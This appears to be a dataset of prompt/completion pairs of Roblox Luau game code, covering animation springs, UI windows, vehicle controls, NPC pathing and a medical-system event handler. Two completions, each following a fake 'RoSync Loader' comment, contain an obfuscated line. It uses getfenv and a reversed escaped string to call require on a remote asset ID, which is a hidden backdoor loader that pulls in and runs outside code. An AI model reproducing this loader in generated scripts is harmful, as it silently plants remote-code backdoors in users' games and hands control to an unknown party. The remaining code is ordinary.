prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- Reference to the SearchBox TextBox
|
local searchBox = script.Parent.Parent.Parent.AppManager.Clippify.SearchBox
|
--[[
Package link auto-generated by Rotriever
]]
|
local PackageIndex = script.Parent._Index
local Package = require(PackageIndex["SoundPlayer"]["SoundPlayer"])
return Package
|
-- detect if they lock first person mode during a live game
|
local playerchanged_con = nil
playerchanged_con = player.Changed:Connect(function(property)
if property == "CameraMaxZoomDistance" or property == "CameraMode" then
if player.CameraMaxZoomDistance <= 0.5 or player.CameraMode == Enum.CameraMode.LockFirstPerson then
enableviewmodel()
end
end
end)
|
-- transforms Roblox types into intermediate types, converting
-- between spaces as necessary to preserve perceptual linearity
|
local typeMetadata = {
number = {
springType = LinearSpring.new,
toIntermediate = function(value)
return {value}
end,
fromIntermediate = function(value)
return value[1]
end,
},
NumberRange = {
springType = LinearSpring.new,
toIntermediate = function(value)
return {value.Min, value.Max}
end,
fromIntermediate = function(value)
return NumberRange.new(value[1], value[2])
end,
},
UDim = {
springType = LinearSpring.new,
toIntermediate = function(value)
return {value.Scale, value.Offset}
end,
fromIntermediate = function(value)
return UDim.new(value[1], value[2])
end,
},
UDim2 = {
springType = LinearSpring.new,
toIntermediate = function(value)
local x = value.X
local y = value.Y
return {x.Scale, x.Offset, y.Scale, y.Offset}
end,
fromIntermediate = function(value)
return UDim2.new(value[1], value[2], value[3], value[4])
end,
},
Vector2 = {
springType = LinearSpring.new,
toIntermediate = function(value)
return {value.X, value.Y}
end,
fromIntermediate = function(value)
return Vector2.new(value[1], value[2])
end,
},
Vector3 = {
springType = LinearSpring.new,
toIntermediate = function(value)
return {value.X, value.Y, value.Z}
end,
fromIntermediate = function(value)
return Vector3.new(value[1], value[2], value[3])
end,
},
CFrame = {
springType = LinearSpring.new,
toIntermediate = function(value)
return {value:GetComponents()}
end,
fromIntermediate = function(value)
return CFrame.new(unpack(value))
end,
},
Color3 = {
springType = LinearSpring.new,
toIntermediate = function(value)
-- convert RGB to a variant of cieluv space
local r, g, b = value.R, value.G, value.B
-- D65 sRGB inverse gamma correction
r = r < 0.0404482362771076 and r/12.92 or 0.87941546140213*(r + 0.055)^2.4
g = g < 0.0404482362771076 and g/12.92 or 0.87941546140213*(g + 0.055)^2.4
b = b < 0.0404482362771076 and b/12.92 or 0.87941546140213*(b + 0.055)^2.4
-- sRGB -> xyz
local x = 0.9257063972951867*r - 0.8333736323779866*g - 0.09209820666085898*b
local y = 0.2125862307855956*r + 0.71517030370341085*g + 0.0722004986433362*b
local z = 3.6590806972265883*r + 11.4426895800574232*g + 4.1149915024264843*b
-- xyz -> modified cieluv
local l = y > 0.008856451679035631 and 116*y^(1/3) - 16 or 903.296296296296*y
local u, v
if z > 1e-14 then
u = l*x/z
v = l*(9*y/z - 0.46832)
else
u = -0.19783*l
v = -0.46832*l
end
return {l, u, v}
end,
fromIntermediate = function(value)
-- convert back from modified cieluv to rgb space
local l = value[1]
if l < 0.0197955 then
return Color3.new(0, 0, 0)
end
local u = value[2]/l + 0.19783
local v = value[3]/l + 0.46832
-- cieluv -> xyz
local y = (l + 16)/116
y = y > 0.206896551724137931 and y*y*y or 0.12841854934601665*y - 0.01771290335807126
local x = y*u/v
local z = y*((3 - 0.75*u)/v - 5)
-- xyz -> D65 sRGB
local r = 7.2914074*x - 1.5372080*y - 0.4986286*z
local g = -2.1800940*x + 1.8757561*y + 0.0415175*z
local b = 0.1253477*x - 0.2040211*y + 1.0569959*z
-- clamp minimum sRGB component
if r < 0 and r < g and r < b then
r, g, b = 0, g - r, b - r
elseif g < 0 and g < b then
r, g, b = r - g, 0, b - g
elseif b < 0 then
r, g, b = r - b, g - b, 0
end
-- gamma correction from D65
-- clamp to avoid undesirable overflow wrapping behavior on certain properties (e.g. BasePart.Color)
return Color3.new(
min(r < 3.1306684425e-3 and 12.92*r or 1.055*r^(1/2.4) - 0.055, 1),
min(g < 3.1306684425e-3 and 12.92*g or 1.055*g^(1/2.4) - 0.055, 1),
min(b < 3.1306684425e-3 and 12.92*b or 1.055*b^(1/2.4) - 0.055, 1)
)
end,
},
}
local springStates = {} -- {[instance] = {[property] = spring}
RunService.Stepped:Connect(function(_, dt)
for instance, state in pairs(springStates) do
for propName, spring in pairs(state) do
if spring:canSleep() then
state[propName] = nil
instance[propName] = spring.rawTarget
else
instance[propName] = spring:step(dt)
end
end
if not next(state) then
springStates[instance] = nil
end
end
end)
local function assertType(argNum, fnName, expectedType, value)
if not STRICT_TYPES then
return
end
if not expectedType:find(typeof(value)) then
error(
("bad argument #%d to %s (%s expected, got %s)"):format(
argNum,
fnName,
expectedType,
typeof(value)
),
3
)
end
end
local spr = {}
function spr.target(instance, dampingRatio, frequency, properties)
assertType(1, "spr.target", "Instance", instance)
assertType(2, "spr.target", "number", dampingRatio)
assertType(3, "spr.target", "number", frequency)
assertType(4, "spr.target", "table", properties)
if dampingRatio ~= dampingRatio or dampingRatio < 0 then
error(("expected damping ratio >= 0; got %.2f"):format(dampingRatio), 2)
end
if frequency ~= frequency or frequency < 0 then
error(("expected undamped frequency >= 0; got %.2f"):format(frequency), 2)
end
local state = springStates[instance]
if not state then
state = {}
springStates[instance] = state
end
for propName, propTarget in pairs(properties) do
local propValue = instance[propName]
if STRICT_TYPES and typeof(propTarget) ~= typeof(propValue) then
error(
("bad property %s to spr.target (%s expected, got %s)"):format(
propName,
typeof(propValue),
typeof(propTarget)
),
2
)
end
local spring = state[propName]
if not spring then
local md = typeMetadata[typeof(propTarget)]
if not md then
error("unsupported type: " .. typeof(propTarget), 2)
end
spring = md.springType(dampingRatio, frequency, propValue, md, propTarget)
state[propName] = spring
end
spring.d = dampingRatio
spring.f = frequency
spring:setGoal(propTarget)
end
end
function spr.stop(instance, property)
assertType(1, "spr.stop", "Instance", instance)
assertType(2, "spr.stop", "string|nil", property)
if property then
local state = springStates[instance]
if state then
state[property] = nil
end
else
springStates[instance] = nil
end
end
if STRICT_API_ACCESS then
return tableLock(spr)
else
return spr
end
|
--!optimize 2
|
local ReplicatedFirst = game:GetService('ReplicatedFirst')
local TeleportService = game:GetService("TeleportService")
ReplicatedFirst:RemoveDefaultLoadingScreen()
TeleportService:SetTeleportGui(Instance.new('ScreenGui'))
|
---- STATE MODIFICATION ----
|
function ActiveCastStatic:Pause()
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Pause", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
self.StateInfo.Paused = true
end
function ActiveCastStatic:Resume()
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Resume", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
self.StateInfo.Paused = false
end
function ActiveCastStatic:Terminate()
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Terminate", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
-- First: Set EndTime on the latest trajectory since it is now done simulating.
local trajectories = self.StateInfo.Trajectories
local lastTrajectory = trajectories[#trajectories]
lastTrajectory.EndTime = self.StateInfo.TotalRuntime
-- Disconnect the update connection.
self.StateInfo.UpdateConnection:Disconnect()
-- Now fire CastTerminating
self.Caster.CastTerminating:FireSync(self)
-- And now set the update connection object to nil.
self.StateInfo.UpdateConnection = nil
-- And nuke everything in the table + clear the metatable.
self.Caster = nil
self.StateInfo = nil
self.RayInfo = nil
self.UserData = nil
setmetatable(self, nil)
end
return ActiveCastStatic
|
--[=[
@prop Util Folder
@within KnitServer
@readonly
References the Util folder. Should only be accessed when using Knit as
a standalone module. If using Knit from Wally, modules should just be
pulled in via Wally instead of relying on Knit's Util folder, as this
folder only contains what is necessary for Knit to run in Wally mode.
]=]
|
KnitServer.Util = script.Parent.Parent
local SIGNAL_MARKER = newproxy(true)
getmetatable(SIGNAL_MARKER).__tostring = function()
return "SIGNAL_MARKER"
end
local PROPERTY_MARKER = newproxy(true)
getmetatable(PROPERTY_MARKER).__tostring = function()
return "PROPERTY_MARKER"
end
local knitRepServiceFolder = Instance.new("Folder")
knitRepServiceFolder.Name = "Services"
local Promise = require(KnitServer.Util.Promise)
local Comm = require(KnitServer.Util.Comm)
local ServerComm = Comm.ServerComm
local services: {[string]: Service} = {}
local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")
local function DoesServiceExist(serviceName: string): boolean
local service: Service? = services[serviceName]
return service ~= nil
end
|
-- Game Services
|
local Configurations = require(game.ServerStorage.Configurations)
local DisplayManager = require(script.Parent.DisplayManager)
|
-- constants
|
local REMOTES = ReplicatedStorage.Remotes
|
-- print("Keyframe : ".. frameName)
|
local repeatAnim = stopToolAnimations()
playToolAnimation(repeatAnim, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid)
if (animName ~= toolAnimName) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
|
--[[ Last synced 11/11/2020 02:29 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Activate when we die.
|
getHumanoid().Died:Connect(function()
if ( script.ActivateOnDeath.Value ) then
script.Activate.Value = true;
end
end);
|
--
|
local uisBinds = {};
local uisBinds_mt = {__index = uisBinds};
function uisBinds.new()
local self = {};
self.connections = {};
return setmetatable(self, uisBinds_mt);
end
|
---Controls UI
|
script.Parent.Parent:WaitForChild("Controls")
script.Parent.Parent:WaitForChild("ControlsOpen")
script.Parent:WaitForChild("Window")
script.Parent:WaitForChild("Toggle")
local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local UserInputService = game:GetService("UserInputService")
local cPanel = script.Parent
local Controls = script.Parent.Parent.Controls
local ver = require(car["A-Chassis Tune"].README)
cPanel.Window["//INSPARE"].Text = "A-Chassis "..ver.." // INSPARE"
local controlsOpen = false
local cInputB = nil
local cInputT = nil
local cInput = false
for i,v in pairs(_Tune.Peripherals) do
script.Parent.Parent.Controls:WaitForChild(i)
local slider = cPanel.Window.Content[i]
slider.Text = v.."%"
slider.S.CanvasPosition=Vector2.new(v*(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset)/100,0)
slider.S.Changed:connect(function(property)
if property=="CanvasPosition" then
Controls[i].Value = math.floor(100*slider.S.CanvasPosition.x/(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset))
slider.Text = Controls[i].Value.."%"
end
end)
end
for i,v in pairs(_Tune.Controls) do
script.Parent.Parent.Controls:WaitForChild(i)
local button = cPanel.Window.Content[i]
button.Text = v.Name
button.MouseButton1Click:connect(function()
script.Parent.Parent.ControlsOpen.Value = true
cPanel.Window.Overlay.Visible = true
cInput = true
repeat wait() until cInputB~=nil
if cInputB == Enum.KeyCode.Return or cInputB == Enum.KeyCode.KeypadEnter then
--do nothing
elseif string.find(i,"Contlr")~=nil then
if cInputT.Name:find("Gamepad") then
Controls[i].Value = cInputB.Name
button.Text = cInputB.Name
else
cPanel.Window.Error.Visible = true
end
elseif i=="MouseThrottle" or i=="MouseBrake" then
if cInputT == Enum.UserInputType.MouseButton1 or cInputT == Enum.UserInputType.MouseButton2 then
Controls[i].Value = cInputT.Name
button.Text = cInputT.Name
elseif cInputT == Enum.UserInputType.Keyboard then
Controls[i].Value = cInputB.Name
button.Text = cInputB.Name
else
cPanel.Window.Error.Visible = true
end
else
if cInputT == Enum.UserInputType.Keyboard then
Controls[i].Value = cInputB.Name
button.Text = cInputB.Name
else
cPanel.Window.Error.Visible = true
end
end
cInputB = nil
cInputT = nil
cInput = false
wait(.2)
cPanel.Window.Overlay.Visible = false
script.Parent.Parent.ControlsOpen.Value = false
end)
end
cPanel.Window.Error.Changed:connect(function(property)
if property == "Visible" then
wait(3)
cPanel.Window.Error.Visible = false
end
end)
UserInputService.InputBegan:connect(function(input) if cInput then cInputB = input.KeyCode cInputT = input.UserInputType end end)
UserInputService.InputChanged:connect(function(input) if cInput and (input.KeyCode==Enum.KeyCode.Thumbstick1 or input.KeyCode==Enum.KeyCode.Thumbstick2) then cInputB = input.KeyCode cInputT = input.UserInputType end end)
cPanel.Toggle.MouseButton1Click:connect(function()
controlsOpen = not controlsOpen
if controlsOpen then
cPanel.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5)
cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0.5, -250),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)
else
cPanel.Toggle.BackgroundColor3 = Color3.new(1,170/255,0)
cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0, -500),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)
end
end)
cPanel.Window.Tabs.Keyboard.MouseButton1Click:connect(function()
cPanel.Window.Content:TweenPosition(UDim2.new(0, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)
cPanel.Window.Tabs.Mouse.MouseButton1Click:connect(function()
cPanel.Window.Content:TweenPosition(UDim2.new(-1, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)
cPanel.Window.Tabs.Controller.MouseButton1Click:connect(function()
cPanel.Window.Content:TweenPosition(UDim2.new(-2, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)
wait(.5)
cPanel.Toggle:TweenPosition(UDim2.new(0.5,200,1,-25),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,false)
for i=1,6 do
cPanel.Toggle.BackgroundColor3 = Color3.new(100/255,100/255,100/255)
wait(.2)
if controlsOpen then
cPanel.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5)
else
cPanel.Toggle.BackgroundColor3 = Color3.new(1,170/255,0)
end
wait(.2)
end
|
-----------------
--| Constants |--
-----------------
|
local BLAST_RADIUS = 25 -- Blast radius of the explosion
local BLAST_DAMAGE = 9999999999999999999999999999999999999999999999999999999999999999999999999999 -- Amount of damage done to humanoids
local BLAST_FORCE = 5000 -- Amount of force applied to parts
local UNANCHOR_PARTS = true -- If set to true, explosions will unanchor anchored parts
local IGNITE_PARTS = true -- If set to true, parts will be set on fire (fire does not do anything)
local SPECIAL_EFFECTS = true -- If set to true, parts hit by a rocket will have a special effect
local BREAK_JOINTS = true -- If set to true, explosions will break joints
local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these
|
--// Adonis Client Loader (Non-ReplicatedFirst Version)
|
local DebugMode = false;
local wait = wait;
local time = time;
local pcall = pcall;
local xpcall = xpcall;
local setfenv = setfenv;
local tostring = tostring;
|
-- Define the function to open or close the window with gene-alike effect
|
local function toggleWindow(icon)
local windowName = icon.Name
-- Find the corresponding frame in the AppManager using the window name
local window = appManager:FindFirstChild(windowName)
if window then
if window.Visible == false then
-- Close other windows
for _, child in ipairs(appManager:GetChildren()) do
if child:IsA("Frame") and child.Visible then
child.Visible = false
end
end
dockShelf.Visible = false
wallShelf.Visible = false
-- Set the initial position of the window to be relative to the button
window.Position = UDim2.new(0.319, 0, 0.331, 0)
-- Set the initial size of the window to be zero
window.Size = UDim2.new(0, 100, 0, 100)
-- Show the window and tween its position and size
window.Visible = true
-- Determine the tween speed based on the uiSpeedSetting
local tweenSpeed = ClipSettings.settings.uiSpeedSetting and uiSpeedUser.Value or ClipSettings.uiSpeed
-- Create a new tween with the appropriate tweenSpeed
local tweenInfo = TweenInfo.new(tweenSpeed, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
TweenService:Create(window, tweenInfo, {Position = UDim2.new(-0.007, 0, 0, 0), Size = UDim2.new(1.007, 0, 1, 0)}):Play()
end
end
end
|
--[[
Merges dictionary-like tables together.
]]
|
function Immutable.JoinDictionaries(...)
local result = {}
for i = 1, select("#", ...) do
local dictionary = select(i, ...)
for key, value in pairs(dictionary) do
result[key] = value
end
end
return result
end
|
--//Controller//--
|
while true do
task.wait(Configuration.DelayTime.Value)
local RandomSong = Songs[math.random(1, #Songs)]
CurrentSong.SoundId = RandomSong.SoundId
NameText.Text = "Currently playing: "..RandomSong.Name
CurrentSong:Play()
task.wait(RandomSong.TimeLength)
end
|
-- Don't mess with anything in the script. The constants and variables are all mixed together
|
local Type = 0 -- Manipulated by GUI (0 = 12 hr, 1 = 24 hr)
local Sec = true -- Manipulated by GUI
local year = 1970
local month = 1
local day = 1
local Date = "January 1, 1970"
local hour = 0
local min = 0
local sec = 0
local tag = "AM"
local Time = "12:00 AM"
function getDate()
local months = {
|
--[[Drivetrain]]
|
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD"
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 30 -- 1 - 100%
Tune.RDiffLockThres = 60 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = true -- Implements TCS
Tune.TCSThreshold = 18 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 18 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 9 -- Minimum amount of torque at max reduction (in percent)
|
-- Initialize decorate tool
|
local DecorateTool = require(CoreTools:WaitForChild 'Decorate')
Core.AssignHotkey('P', Core.Support.Call(Core.EquipTool, DecorateTool));
Core.Dock.AddToolButton(Core.Assets.DecorateIcon, 'P', DecorateTool, 'DecorateInfo');
return Core
|
-- Decompiled with Visenya | https://targaryentech.com
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local throt = 0
local redline = 0
script:WaitForChild("Rev")
for i, v in pairs(car.DriveSeat:GetChildren()) do
for _, a in pairs(script:GetChildren()) do
if v.Name == a.Name then
v:Stop()
wait()
v:Destroy()
end
end
end
handler:FireServer("newSound", "Rev", car.DriveSeat, script.Rev.SoundId, 0, script.Rev.Volume, true)
handler:FireServer("playSound", "Rev")
car.DriveSeat:WaitForChild("Rev")
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle / 100 then
throt = math.max(0.3, throt - 0.2)
else
throt = math.min(1, throt + 0.1)
end
if script.Parent.Values.RPM.Value > _Tune.Redline - _Tune.RevBounce / 4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle / 100 then
redline = 0.5
else
redline = 1
end
if not script.Parent.IsOn.Value then
on = math.max(on - 0.015, 0)
else
on = 1
end
local Pitch = math.max((script.Rev.SetPitch.Value + script.Rev.SetRev.Value * _RPM / _Tune.Redline) * on ^ 2, script.Rev.SetPitch.Value)
if FE then
handler:FireServer("updateSound", "Rev", script.Rev.SoundId, Pitch, script.Rev.Volume)
else
car.DriveSeat.Rev.Pitch = Pitch
end
end
|
--{0.976, 0},{, 0}
|
UIS.InputEnded:connect(function(key, gameProcessed)
if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then
character.Humanoid.WalkSpeed = NormalWalkSpeed
sprinting = false
while power < 10 and not sprinting do
power = power + .03
Bar:TweenSize(UDim2.new(power / 10.25, 0, .78, 0), 'Out', 'Quint', .1, true)
--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 166, 11), 0.001)
wait()
if power <= 0 then
character.Humanoid.WalkSpeed = NormalWalkSpeed
end
end
end
end)
|
--if tool then
-- local handle = tool:FindFirstChild("Handle")
-- local toolCopy = tool:Clone()
-- toolCopy.Parent = game.ServerStorage
-- local toolOnPad = true
--
-- local parentConnection
-- parentConnection = tool.AncestryChanged:connect(function()
-- if handle then handle.Anchored = false end
-- toolOnPad = false
-- parentConnection:disconnect()
-- end)
--
-- if handle then
-- handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
-- handle.Anchored = true
-- end
--
-- while true do
-- while toolOnPad do
-- if handle then
-- handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)
-- end
-- wait()
-- end
-- wait(configs["SpawnCooldown"])
-- local newTool = toolCopy:Clone()
-- newTool.Parent = game.Workspace
-- handle = newTool:FindFirstChild("Handle")
-- toolOnPad = true
-- end
--end
--[[ Last synced 7/23/2022 04:59 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Roact
|
local new = Roact.createElement
local ToolButton = require(script.Parent:WaitForChild('ToolButton'))
|
-- shut down the script when we die and reset things
|
humanoid.Died:Connect(function()
stepped_con:Disconnect()
leftshoulderclone:Destroy()
rightshoulderclone:Destroy()
viewmodel:Destroy()
if rightshoulder then
rightshoulder.Enabled = true
end
if leftshoulder then
leftshoulder.Enabled = true
end
larm.Anchored = false
rarm.Anchored = false
armtransparency = 0
visiblearms(false)
end)
|
--end
|
end
end
function Plaka()
for i,v in pairs(Car.Body.Plate:GetChildren()) do
v.SGUI.Identifier.Text = Stats.Plate.Value
end
end
function ToogleLock(status)
for i,v in pairs(Car:GetDescendants()) do
if v.ClassName == "VehicleSeat" or v.ClassName == "Seat" then
v.Disabled = status
end
end
end
|
-- Functions
|
players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function(character)
local rootPart = character:WaitForChild("HumanoidRootPart")
local footstepsSound = Instance.new("Sound")
footstepsSound.Name = "Footsteps"
footstepsSound.Volume = 0.15
footstepsSound.RollOffMaxDistance = 30
footstepsSound.RollOffMode = Enum.RollOffMode.Linear
footstepsSound.PlayOnRemove = true
footstepsSound.Parent = rootPart
end)
end)
|
--
|
mouse.KeyDown:connect(function(key)
if key=="r" then
if GMode>=2 then
GMode=0
else
GMode=GMode+1
end
if GMode==2 then
Controller=true
else
Controller=false
end
if GMode==0 then
script.Parent.Mode.Text = "Control Mode: Keyboard"
elseif GMode==1 then
script.Parent.Mode.Text = "Control Mode: Mouse"
else
script.Parent.Mode.Text = "Control Mode: Controller"
end
end
end)
game["Run Service"].RenderStepped:connect(function()
for i,v in pairs(Binded) do
v()
end
end)
car.DriveSeat.Start2:Play()
car.DriveSeat.Start1:Stop()
for i,v in pairs(Sounds.Looped) do
v:Play()
end
coroutine.resume(coroutine.create(function()
for i,v in pairs(car.Body.Exhaust:GetChildren()) do
v.Afterburn.Rate=10
end
wait(.3)
for i,v in pairs(car.Body.Exhaust:GetChildren()) do
v.Afterburn.Rate=0
end
end))
while wait() do
for i,v in pairs(LoopRun) do
v()
end
end
|
--print(Hit, Hit.Name)
|
if Hit.Name == "Terrain" or Hit.CanCollide == false then -- In front is Water or a steep hill made of Terrain.
Hit = nil -- swim or climb, or Ray hit a Non-colliding Part; and don't check for floor. This will not do, as we do not get a Hit when under-water, so we will check for floor. We must check Swimming event.
else -- Jump?
Hit = DrawRay(originPrime + Vector3.new(0,4.8,0), pointPrime)
if Hit == nil then -- (Does NOT check CanCollide of Part blocking Jump)
hum.Jump = true -- we do NOT check for "Floor", if jumping, but it might be a good idea.
end -- Room to jump?
end --Terrain? Water?
end -- Ladder?
else -- path is clear. Check for cliff... or OK to drop
local Level = torsoPos.y
if target then
Level = target.Position.y -- get Target's current position.
else -- Target is dead. Abandon all logic...
Logic = 0 -- but still check for floor
end
if torsoPos.y - 2 < Level then -- if Player is not well below us...
Hit = DrawRay(torsoPos + point * .8 + Vector3.new(0,1,0), Vector3.new(0,-7,0)) -- check for floor 85% of dir ahead
if Hit == nil then -- There is no floor
Hit = true -- Force a hit; we may not be able to get back up here.
else
Hit = nil -- Force a false to hit, 'cause everything is OK. (Does NOT check CanCollide of Floor!)
end -- cliff check
end -- Player Hieght
end -- path ok?
return Hit
end -- FireRayToward
function FireAtPlayer()
origin = CFrame.new(torsoPos, Vector3.new(targpos.x, torsoPos.y, targpos.z)) -- This contains Origin & Direction
local hit = FireRayToward()
return hit
end
function FireRayAhead()
origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdir, 0, Zdir))
local hit = FireRayToward()
targpos = torsoPos + Vector3.new(Xdir,0,Zdir)
return hit
end
function FireRay() -- Fire Ahead and diagonaly
origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdag, 0, Zdag))
local hit = FireRayToward()
if hit then
origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdir, 0, Zdir))
hit = FireRayToward()
if not hit then
targpos = torsoPos + Vector3.new(Xdir,0,Zdir)
end
else
targpos = torsoPos + Vector3.new(Xdag,0,Zdag)
end
return hit
end -- Fire Ray
function FireDag()
origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdag, 0, Zdag))
local hit = FireRayToward()
return hit
end -- Fire Diagonaly
function TurnRight()
if Xdir == 0 then
Xdir = -Zdir
Zdir = 0
else
Zdir = Xdir
Xdir = 0
end
if Xdag == Zdag then Xdag = -Xdag else Zdag = -Zdag end
end -- Left
function TurnLeft()
if Xdir == 0 then
Xdir = Zdir
Zdir = 0
else
Zdir = -Xdir
Xdir = 0
end
if Xdag == Zdag then Zdag = -Zdag else Xdag = -Xdag end
end -- Left
function GetDir()
Xdir = (targpos.x - torsoPos.x) -- Which way are we going?
Zdir = (targpos.z - torsoPos.z)
|
--wait
|
wait(BRAINWave)
while FreeFalling do
FreeFalling = false
wait(.2)
end
end -- Main
|
--[=[
Clones the given instance and adds it to the trove. Shorthand for
`trove:Add(instance:Clone())`.
]=]
|
function Trove:Clone(instance: Instance): Instance
return self:Add(instance:Clone())
end
|
-------------------------------------------------------------------
-----------------------[MEDSYSTEM]---------------------------------
-------------------------------------------------------------------
|
Evt.Ombro.OnServerEvent:Connect(function(Player,Vitima)
local Nombre
for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do
if SKP_002:IsA('Player') and SKP_002 ~= Player and SKP_002.Name == Vitima then
if SKP_002.Team == Player.Team then
Nombre = Player.Name
else
Nombre = "Someone"
end
Evt.Ombro:FireClient(SKP_002,Nombre)
end
end
end)
Evt.Target.OnServerEvent:Connect(function(Player,Vitima)
Player.Character.Saude.Variaveis.PlayerSelecionado.Value = Vitima
end)
Evt.Render.OnServerEvent:Connect(function(Player,Status,Vitima)
if Vitima == "N/A" then
Player.Character.Saude.Stances.Rendido.Value = Status
else
local VitimaTop = game.Players:FindFirstChild(Vitima)
if VitimaTop.Character.Saude.Stances.Algemado.Value == false then
VitimaTop.Character.Saude.Stances.Rendido.Value = Status
VitimaTop.Character.Saude.Variaveis.HitCount.Value = 0
end
end
end)
Evt.Drag.OnServerEvent:Connect(function(player)
local Human = player.Character.Humanoid
local enabled = Human.Parent.Saude.Variaveis.Doer
local MLs = Human.Parent.Saude.Variaveis.MLs
local Caido = Human.Parent.Saude.Stances.Caido
local Item = Human.Parent.Saude.Kit.Epinefrina
local target = Human.Parent.Saude.Variaveis.PlayerSelecionado
if Caido.Value == false and target.Value ~= "N/A" then
local player2 = game.Players:FindFirstChild(target.Value)
local PlHuman = player2.Character.Humanoid
local Sangrando = PlHuman.Parent.Saude.Stances.Sangrando
local MLs = PlHuman.Parent.Saude.Variaveis.MLs
local Dor = PlHuman.Parent.Saude.Variaveis.Dor
local Ferido = PlHuman.Parent.Saude.Stances.Ferido
local PlCaido = PlHuman.Parent.Saude.Stances.Caido
local Sang = PlHuman.Parent.Saude.Variaveis.Sangue
if enabled.Value == false then
if PlCaido.Value == true or PlCaido.Parent.Algemado.Value == true then
enabled.Value = true
coroutine.wrap(function()
while target.Value ~= "N/A" and PlCaido.Value == true and PlHuman.Health > 0 and Human.Health > 0 and Human.Parent.Saude.Stances.Caido.Value == false or target.Value ~= "N/A" and PlCaido.Parent.Algemado.Value == true do wait() pcall(function()
